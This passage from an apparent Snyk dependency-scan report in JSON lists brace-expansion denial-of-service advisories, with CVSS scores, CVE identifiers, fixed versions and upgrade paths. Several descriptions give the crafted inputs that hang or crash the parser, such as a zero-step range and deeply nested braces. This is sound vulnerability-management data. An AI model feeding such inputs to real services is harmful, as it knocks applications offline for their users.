"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
